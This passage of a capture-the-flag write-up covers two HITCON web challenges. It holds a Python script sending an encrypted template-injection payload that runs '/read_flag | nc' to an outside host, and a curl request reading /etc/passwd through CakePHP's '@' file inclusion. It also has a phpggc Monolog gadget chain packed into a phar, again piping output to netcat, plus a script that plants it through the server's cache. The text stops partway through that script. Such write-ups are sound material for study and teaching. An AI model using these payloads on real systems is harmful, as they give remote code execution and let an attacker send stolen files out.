class="hljs-string">'zipimport.zipimporter'</span>&gt;, &lt;type <span class="hljs-string">'posix.stat_result'</span>&gt;, &lt;type <span class="hljs-string">'posix.statvfs_result'</span>&gt;, &lt;<span class="hljs-class"><span class="hljs-keyword">class</span> '<span class="hljs-title">warnings</span>.<span class="hljs-title">WarningMessage</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">warnings</span>.<span class="hljs-title">catch_warnings</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">_weakrefset</span>.<span class="hljs-title">_IterationGuard</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">_weakrefset</span>.<span class="hljs-title">WeakSet</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">_abcoll</span>.<span class="hljs-title">Hashable</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">classmethod</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">_abcoll</span>.<span class="hljs-title">Iterable</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">_abcoll</span>.<span class="hljs-title">Sized</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">_abcoll</span>.<span class="hljs-title">Container</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">_abcoll</span>.<span class="hljs-title">Callable</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">dict_keys</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">dict_items</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">dict_values</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">site</span>.<span class="hljs-title">_Printer</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">site</span>.<span class="hljs-title">_Helper</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">site</span>.<span class="hljs-title">Quitter</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">codecs</span>.<span class="hljs-title">IncrementalEncoder</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">codecs</span>.<span class="hljs-title">IncrementalDecoder</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">_sre</span>.<span class="hljs-title">SRE_Pattern</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">_sre</span>.<span class="hljs-title">SRE_Match</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">_sre</span>.<span class="hljs-title">SRE_Scanner</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">time</span>.<span class="hljs-title">struct_time</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">_thread</span>.<span class="hljs-title">_localdummy</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">thread</span>.<span class="hljs-title">_local</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">thread</span>.<span class="hljs-title">lock</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">collections</span>.<span class="hljs-title">deque</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">deque_iterator</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">deque_reverse_iterator</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">operator</span>.<span class="hljs-title">itemgetter</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">operator</span>.<span class="hljs-title">attrgetter</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">operator</span>.<span class="hljs-title">methodcaller</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">combinations</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">combinations_with_replacement</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">cycle</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">dropwhile</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">takewhile</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">islice</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">starmap</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">imap</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">chain</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">compress</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">ifilter</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">ifilterfalse</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">count</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">izip</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">izip_longest</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">permutations</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">product</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">repeat</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">groupby</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">tee_dataobject</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">tee</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">itertools</span>.<span class="hljs-title">_grouper</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">threading</span>.<span class="hljs-title">_Verbose</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">select</span>.<span class="hljs-title">epoll</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">Struct</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">cStringIO</span>.<span class="hljs-title">StringO</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">cStringIO</span>.<span class="hljs-title">StringI</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">subprocess</span>.<span class="hljs-title">Popen</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">datetime</span>.<span class="hljs-title">date</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">datetime</span>.<span class="hljs-title">timedelta</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">datetime</span>.<span class="hljs-title">time</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">datetime</span>.<span class="hljs-title">tzinfo</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">string</span>.<span class="hljs-title">Template</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">string</span>.<span class="hljs-title">Formatter</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">functools</span>.<span class="hljs-title">partial</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">_ssl</span>.<span class="hljs-title">_SSLContext</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">_ssl</span>.<span class="hljs-title">_SSLSocket</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">socket</span>.<span class="hljs-title">_closedsocket</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">_socket</span>.<span class="hljs-title">socket</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">method_descriptor</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">socket</span>.<span class="hljs-title">_socketobject</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">socket</span>.<span class="hljs-title">_fileobject</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">urlparse</span>.<span class="hljs-title">ResultMixin</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">contextlib</span>.<span class="hljs-title">GeneratorContextManager</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">contextlib</span>.<span class="hljs-title">closing</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">_io</span>.<span class="hljs-title">_IOBase</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">_io</span>.<span class="hljs-title">IncrementalNewlineDecoder</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">_hashlib</span>.<span class="hljs-title">HASH</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">_random</span>.<span class="hljs-title">Random</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">cPickle</span>.<span class="hljs-title">Unpickler</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">cPickle</span>.<span class="hljs-title">Pickler</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">web</span>.<span class="hljs-title">webapi</span>.<span class="hljs-title">OK</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">web</span>.<span class="hljs-title">webapi</span>.<span class="hljs-title">Created</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">web</span>.<span class="hljs-title">webapi</span>.<span class="hljs-title">Accepted</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">web</span>.<span class="hljs-title">webapi</span>.<span class="hljs-title">NoContent</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">web</span>.<span class="hljs-title">db</span>.<span class="hljs-title">SQLParam</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">web</span>.<span class="hljs-title">db</span>.<span class="hljs-title">SQLQuery</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">bz2</span>.<span class="hljs-title">BZ2File</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">bz2</span>.<span class="hljs-title">BZ2Compressor</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">bz2</span>.<span class="hljs-title">BZ2Decompressor</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">pwd</span>.<span class="hljs-title">struct_passwd</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">grp</span>.<span class="hljs-title">struct_group</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">web</span>.<span class="hljs-title">template</span>.<span class="hljs-title">SafeVisitor</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">web</span>.<span class="hljs-title">template</span>.<span class="hljs-title">TemplateResult</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">web</span>.<span class="hljs-title">form</span>.<span class="hljs-title">Form</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">web</span>.<span class="hljs-title">form</span>.<span class="hljs-title">Input</span>'&gt;, &lt;<span class="hljs-title">class</span> '<span class="hljs-title">web</span>.<span class="hljs-title">session</span>.<span class="hljs-title">Session</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">sqlite3</span>.<span class="hljs-title">Row</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">sqlite3</span>.<span class="hljs-title">Cursor</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">sqlite3</span>.<span class="hljs-title">Connection</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">sqlite3Node</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">sqlite3</span>.<span class="hljs-title">Cache</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">sqlite3</span>.<span class="hljs-title">Statement</span>'&gt;, &lt;<span class="hljs-title">type</span> '<span class="hljs-title">sqlite3</span>.<span class="hljs-title">PrepareProtocol</span>'&gt;]
</span></code></pre><p>Take a closer look. There is <code>&lt;class &#39;subprocess.Popen&#39;&gt;</code> class, so it&#39;s trivial to RCE now!</p>
<p>My payload:</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> DES 

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt</span><span class="hljs-params">(s)</span>:</span>
    raw = s.encode()
    pad = <span class="hljs-number">8</span> - len(raw) % <span class="hljs-number">8</span> 
    raw += bytes([pad] * pad)
    print(raw)
    <span class="hljs-keyword">return</span> DES.new(<span class="hljs-string">'megnnaro'</span>).encrypt(raw).hex()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span><span class="hljs-params">(s)</span>:</span>
    raw = DES.new(<span class="hljs-string">'megnnaro'</span>).decrypt(bytes.fromhex(s))
    <span class="hljs-keyword">return</span> raw[:-raw[<span class="hljs-number">-1</span>]].decode()
<span class="hljs-comment"># &lt;class 'subprocess.Popen'&gt;</span>
h = encrypt(<span class="hljs-string">"m=p&amp;l=${[].__class__.__base__.__subclasses__()[-68]('/read_flag | nc 240.240.240.240 5678',shell=1)}"</span>)
print(requests.get(<span class="hljs-string">'http://13.115.255.46/?s='</span> + h).text)
</code></pre><p>It&#39;s worth to mention @qazwsxedcrfvtg14 &#39;s more creative payload. I can&#39;t believe that an unbounded method can access <code>__globals__</code> in Python 2.7 !</p>
<pre class="hljs"><code>([t <span class="hljs-keyword">for</span> t <span class="hljs-keyword">in</span> ().__class__.__base__.__subclasses__() <span class="hljs-keyword">if</span> t.__name__ == <span class="hljs-string">'Sized'</span>][<span class="hljs-number">0</span>].__len__).__globals__[<span class="hljs-string">'__builtins__'</span>][<span class="hljs-string">'__import__'</span>](<span class="hljs-string">'os'</span>).system(<span class="hljs-string">'sleep 10'</span>)
</code></pre><p>The flag is <code>hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}</code>.</p>
<h3 id="baby-cake"><a class="header-link" href="#baby-cake"></a>Baby Cake</h3>
<p>The server side is running CakePHP 3.5, which is an outdated version of CakePHP. The hint and challenge description imply that we should get the shell, and it&#39;s not related to SSRF.</p>
<p>Here is the code of the main controller. It simply proxies user&#39;s request. A cache is also implemented using md5(URL) as key. You can find the complete version of server source code in <a href="https://github.com/orangetw/My-CTF-Web-Challenges#baby-cake">author&#39;s website</a>.</p>
<pre class="hljs"><code><span class="hljs-meta">&lt;?php</span>

<span class="hljs-keyword">namespace</span> <span class="hljs-title">App</span>\<span class="hljs-title">Controller</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">Cake</span>\<span class="hljs-title">Core</span>\<span class="hljs-title">Configure</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">Cake</span>\<span class="hljs-title">Http</span>\<span class="hljs-title">Client</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">Cake</span>\<span class="hljs-title">Http</span>\<span class="hljs-title">Exception</span>\<span class="hljs-title">ForbiddenException</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">Cake</span>\<span class="hljs-title">Http</span>\<span class="hljs-title">Exception</span>\<span class="hljs-title">NotFoundException</span>;
<span class="hljs-keyword">use</span> <span class="hljs-title">Cake</span>\<span class="hljs-title">View</span>\<span class="hljs-title">Exception</span>\<span class="hljs-title">MissingTemplateException</span>;

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">DymmyResponse</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span><span class="hljs-params">($headers, $body)</span> </span>{
        <span class="hljs-keyword">$this</span>-&gt;headers = $headers;
        <span class="hljs-keyword">$this</span>-&gt;body = $body;
    }
}

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PagesController</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">AppController</span> </span>{

    <span class="hljs-keyword">private</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">httpclient</span><span class="hljs-params">($method, $url, $headers, $data)</span> </span>{
        <span class="hljs-comment">//['get', 'post', 'put', 'delete', 'patch']</span>
        $options = [
            <span class="hljs-string">'headers'</span> =&gt; $headers,
            <span class="hljs-string">'timeout'</span> =&gt; <span class="hljs-number">10</span>
        ];

        $http = <span class="hljs-keyword">new</span> Client();
        <span class="hljs-keyword">return</span> $http-&gt;$method($url, $data, $options);
    }

    <span class="hljs-keyword">private</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">back</span><span class="hljs-params">()</span> </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>-&gt;render(<span class="hljs-string">'pages'</span>);
    }

    <span class="hljs-keyword">private</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_cache_dir</span><span class="hljs-params">($key)</span></span>{
        $ip = <span class="hljs-keyword">$this</span>-&gt;request-&gt;getEnv(<span class="hljs-string">'REMOTE_ADDR'</span>);
        $index = sprintf(<span class="hljs-string">'mycache/%s/%s/'</span>, $ip, $key);
        <span class="hljs-keyword">return</span> CACHE . $index;
    }

    <span class="hljs-keyword">private</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">cache_set</span><span class="hljs-params">($key, $response)</span> </span>{
        $cache_dir = <span class="hljs-keyword">$this</span>-&gt;_cache_dir($key);
        <span class="hljs-keyword">if</span> ( !file_exists($cache_dir) ) {
            mkdir($cache_dir, <span class="hljs-number">0700</span>, <span class="hljs-keyword">true</span>);
            file_put_contents($cache_dir . <span class="hljs-string">"body.cache"</span>, $response-&gt;body);
            file_put_contents($cache_dir . <span class="hljs-string">"headers.cache"</span>, serialize($response-&gt;headers));
        }
    }

    <span class="hljs-keyword">private</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">cache_get</span><span class="hljs-params">($key)</span> </span>{
        $cache_dir = <span class="hljs-keyword">$this</span>-&gt;_cache_dir($key);
        <span class="hljs-keyword">if</span> (file_exists($cache_dir)) {
            $body   = file_get_contents($cache_dir . <span class="hljs-string">"/body.cache"</span>);
            $headers = file_get_contents($cache_dir . <span class="hljs-string">"/headers.cache"</span>);

            $body = <span class="hljs-string">"&lt;!-- from cache --&gt;\n"</span> . $body;
            $headers = unserialize($headers);
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> DymmyResponse($headers, $body);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">null</span>;
        }
    }

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">display</span><span class="hljs-params">(...$path)</span> </span>{    
        $request  = <span class="hljs-keyword">$this</span>-&gt;request;
        $data = $request-&gt;getQuery(<span class="hljs-string">'data'</span>);
        $url  = $request-&gt;getQuery(<span class="hljs-string">'url'</span>);
        <span class="hljs-keyword">if</span> (strlen($url) == <span class="hljs-number">0</span>) 
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>-&gt;back();

        $scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );
        <span class="hljs-keyword">if</span> (strlen($scheme) == <span class="hljs-number">0</span> || !in_array($scheme, [<span class="hljs-string">'http'</span>, <span class="hljs-string">'https'</span>]))
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>-&gt;back();

        $method = strtolower( $request-&gt;getMethod() );
        <span class="hljs-keyword">if</span> ( !in_array($method, [<span class="hljs-string">'get'</span>, <span class="hljs-string">'post'</span>, <span class="hljs-string">'put'</span>, <span class="hljs-string">'delete'</span>, <span class="hljs-string">'patch'</span>]) )
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>-&gt;back();


        $headers = [];
        <span class="hljs-keyword">foreach</span> ($request-&gt;getHeaders() <span class="hljs-keyword">as</span> $key =&gt; $value) {
            <span class="hljs-keyword">if</span> (in_array( strtolower($key), [<span class="hljs-string">'host'</span>, <span class="hljs-string">'connection'</span>, <span class="hljs-string">'expect'</span>, <span class="hljs-string">'content-length'</span>] ))
                <span class="hljs-keyword">continue</span>;
            <span class="hljs-keyword">if</span> (count($value) == <span class="hljs-number">0</span>)
                <span class="hljs-keyword">continue</span>;

            $headers[$key] = $value[<span class="hljs-number">0</span>];
        }

        $key = md5($url);
        <span class="hljs-keyword">if</span> ($method == <span class="hljs-string">'get'</span>) {
            $response = <span class="hljs-keyword">$this</span>-&gt;cache_get($key);
            <span class="hljs-keyword">if</span> (!$response) {
                $response = <span class="hljs-keyword">$this</span>-&gt;httpclient($method, $url, $headers, <span class="hljs-keyword">null</span>);
                <span class="hljs-keyword">$this</span>-&gt;cache_set($key, $response);                
            }
        } <span class="hljs-keyword">else</span> {
            $response = <span class="hljs-keyword">$this</span>-&gt;httpclient($method, $url, $headers, $data);
        }

        <span class="hljs-keyword">foreach</span> ($response-&gt;headers <span class="hljs-keyword">as</span> $key =&gt; $value) {
            <span class="hljs-keyword">if</span> (strtolower($key) == <span class="hljs-string">'content-type'</span>) {
                <span class="hljs-keyword">$this</span>-&gt;response-&gt;type(<span class="hljs-keyword">array</span>(<span class="hljs-string">'type'</span> =&gt; $value));
                <span class="hljs-keyword">$this</span>-&gt;response-&gt;type(<span class="hljs-string">'type'</span>);
                <span class="hljs-keyword">continue</span>;
            }
            <span class="hljs-keyword">$this</span>-&gt;response-&gt;withHeader($key, $value);
        }

        <span class="hljs-keyword">$this</span>-&gt;response-&gt;body($response-&gt;body);
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>-&gt;response;
    }
}
</code></pre><h4 id="failed-attempts"><a class="header-link" href="#failed-attempts"></a>Failed Attempts</h4>
<ul class="list">
<li>headers unsafe unseraialization<ul class="list">
<li>Actually it comes out to be pretty safe. <code>$header</code> is a <a href="https://github.com/cakephp/cakephp/blob/master/src/Http/Client/Response.php#L204-L227">2d array</a> and it&#39;s not fully controllable</li>
</ul>
</li>
<li>301/302 edirection to <code>file://</code>: <ul class="list">
<li>The redirection is not set in the <code>$options</code>. Thus it will not follow redirections.</li>
</ul>
</li>
<li>Exploit rewrite rules to read arbitrary files:<ul class="list">
<li>However most of the rewrite rule on the server follow <a href="https://book.cakephp.org/3.0/en/installation.html#apache">CakePHP official installation guide</a>. It seems not exploitable.</li>
</ul>
</li>
<li>Exploit <code>_mergeOptions</code> and try to manipulate <code>$option</code> for redirection:<ul class="list">
<li>No, the <code>$header</code> is not fully controllable.</li>
</ul>
</li>
<li><a href="https://github.com/cakephp/cakephp/issues/9137">httpoxy vulnerabilty</a> in CakePHP<ul class="list">
<li>I think we should get the shell.</li>
</ul>
</li>
<li>Possible scheme override:<ul class="list">
<li>HTTP Method can be overriden using <code>X-Http-Method-Override: GET</code>, but for scheme it&#39;s not possible.</li>
</ul>
</li>
<li>CakePHP 3.5 CVE / Vulnerability:<ul class="list">
<li>Even though it&#39;s possible, I think it&#39;s not possible to directly RCE however.</li>
</ul>
</li>
<li>PHP <a href="https://stackoverflow.com/a/3697776">exploitable functions</a>:<ul class="list">
<li>There is no system, shell_exec, eval, assert functions in HTTP Client.</li>
</ul>
</li>
<li>PHP user-defind functions:<ul class="list">
<li><a href="https://github.com/cakephp/cakephp/blob/master/src/Http/ServerRequest.php#L838">call_user_func</a>, <a href="https://github.com/cakephp/cakephp/blob/master/src/Http/Client/Response.php#L563">dynamic function call</a> and <a href="https://github.com/cakephp/cakephp/blob/master/src/Http/Client.php#L610">dynamically generated classname</a>. However they are both not exploitable because there is no invokation of the three functions. The classname one is too difficult to exploit.</li>
</ul>
</li>
<li>SSRF 169.254.169.254<ul class="list">
<li>Not much useful information. The hint says &quot;it&#39;s not related to SSRF&quot;.</li>
</ul>
</li>
<li>Brute force authour&#39;s ssh public key (SSRF 169.254.169.254 metadata)<ul class="list">
<li>It will be more efficient to hold a gun pointed to the admin&#39;s head, my friend.</li>
</ul>
</li>
</ul>
<h4 id="arbitrary-file-read-1"><a class="header-link" href="#arbitrary-file-read-1"></a>Arbitrary File Read</h4>
<p>When browsing the issue of the cakephp github, I came to <a href="https://github.com/cakephp/cakephp/issues/6540">this issue</a>. The cakephp http client bahaves <a href="https://stackoverflow.com/a/12667839">similarlly to <code>curl</code></a>. Both of them use <code>@</code> to include local files. It&#39;s also <a href="https://book.cakephp.org/3.0/en/core-libraries/httpclient.html#creating-multipart-requests-with-files">documented on their website</a>.</p>
<p>Now we can read arbitrary files on the server. Just send a POST request with the data array. Don&#39;t forget the filename should be prepended with <code>@</code>.</p>
<pre class="hljs"><code>curl 'http://<span class="hljs-number">13.230.134.135</span>/?url=http://<span class="hljs-number">240.240.240.240:3310</span>&amp;data<span class="hljs-string">[]</span>=@/etc/passwd' -X POST
</code></pre><p>Let&#39;s read some files which may contain some juicy information:</p>
<ul class="list">
<li>/etc/apache2/sites-enabled/000-default.conf</li>
<li>/etc/passwd</li>
<li>/proc/self/cmdline</li>
<li>/flag (cannot read)</li>
<li>/read_flag (because other web challenges use <code>/read_flag</code> to read the flag)</li>
</ul>
<p>Unfortunately none of them is useful. We still need shell.</p>
<h4 id="phar-unserialization-to-rce"><a class="header-link" href="#phar-unserialization-to-rce"></a>phar unserialization to RCE</h4>
<p>Trace <a href="https://github.com/cakephp/cakephp/blob/master/src/Http/Client/FormData.php#L157">a little deeper</a>. The <code>@</code>  syntax uses PHP <code>file_get_contents</code> API. Therefore we can use PHP wrappers, but it&#39;s still not enough for a shell.</p>
<p>Then @Kaibro and @ysc mentioned that it&#39;s possible to use <code>phar://</code> wrappers to triiger PHP gadget chains. I actually don&#39;t know unserilization can be so powerful! In face phar unsafe unserialization is one of <a href="https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017">Orange&#39;s 2017 HITCON challenges</a>. However when we found this is a promising solution, only 10 minutes left in the competition...... It&#39;s pity we don&#39;t solve it in the competition.</p>
<p>Anyway, let&#39;s leveraging <a href="https://github.com/ambionics/phpggc">phpggc</a> to create a PHP Gadget Chains (thanks to @ysc). One of the dependency of CakePHP is monolog 1.23. We can use phpggc <a href="https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/chain.php">Monolog/RCE1</a>! For the deatils of how to create a <code>phar</code> file please refer to <a href="https://rdot.org/forum/showthread.php?t=4379">here</a> and <a href="https://delcoding.github.io/2018/09/defcamp-writeup2/">here</a>.</p>
<p>We modify the <code>./phpggc/gadgetchains/Monolog/RCE/1/chain.php</code> to create a phar exploit:</p>
<pre class="hljs"><code><span class="hljs-meta">&lt;?php</span>
<span class="hljs-keyword">namespace</span> <span class="hljs-title">GadgetChain</span>\<span class="hljs-title">Monolog</span>;

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">RCE1</span> <span class="hljs-keyword">extends</span> \<span class="hljs-title">PHPGGC</span>\<span class="hljs-title">GadgetChain</span>\<span class="hljs-title">RCE</span>
</span>{
    <span class="hljs-keyword">public</span> $version = <span class="hljs-string">'1.18 &lt;= 1.23'</span>;
    <span class="hljs-keyword">public</span> $vector = <span class="hljs-string">'__destruct'</span>;
    <span class="hljs-keyword">public</span> $author = <span class="hljs-string">'cf'</span>;

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">generate</span><span class="hljs-params">(array $parameters)</span>
    </span>{   
        $code = <span class="hljs-string">"/read_flag | nc 240.240.240.240 1337"</span>;
        $a= <span class="hljs-keyword">new</span> \Monolog\Handler\SyslogUdpHandler(
            <span class="hljs-keyword">new</span> \Monolog\Handler\BufferHandler(
                [<span class="hljs-string">'current'</span>, <span class="hljs-string">'system'</span>],
                [$code, <span class="hljs-string">'level'</span> =&gt; <span class="hljs-keyword">null</span>]
            )
        );
        unlink(<span class="hljs-string">'/tmp/exp.phar'</span>);
        $p = <span class="hljs-keyword">new</span> \Phar(<span class="hljs-string">'/tmp/exp.phar'</span>, <span class="hljs-number">0</span>); 
        $p[<span class="hljs-string">'file.txt'</span>] = <span class="hljs-string">'test'</span>;
        $p-&gt;setMetadata($a);
        $p-&gt;setStub(<span class="hljs-string">'&lt;?php __HALT_COMPILER(); ?&gt;'</span>);
        <span class="hljs-keyword">return</span> $a; 
    }   
}
</code></pre><p>We&#39;ll first make a GET request such that server will save the expolit. Then use POST to trigger the unsafe unserialization. The path of the body.cache is known.</p>
<pre class="hljs"><code><span class="hljs-keyword">import</span> hashlib
<span class="hljs-keyword">import</span> requests
s = requests.session()
print(s.get(<span class="hljs-string">'http://13.230.134.135/'</span>, params={<span class="hljs-string">'url'</span>: <span class="hljs-string">'http://240.240.240.240:11111/exp.phar'</span>}).text)
md5 = hashlib.md5(<span class="hljs-string">b'http://240.240.240.240:11111/exp.phar'</span>).hexdigest()
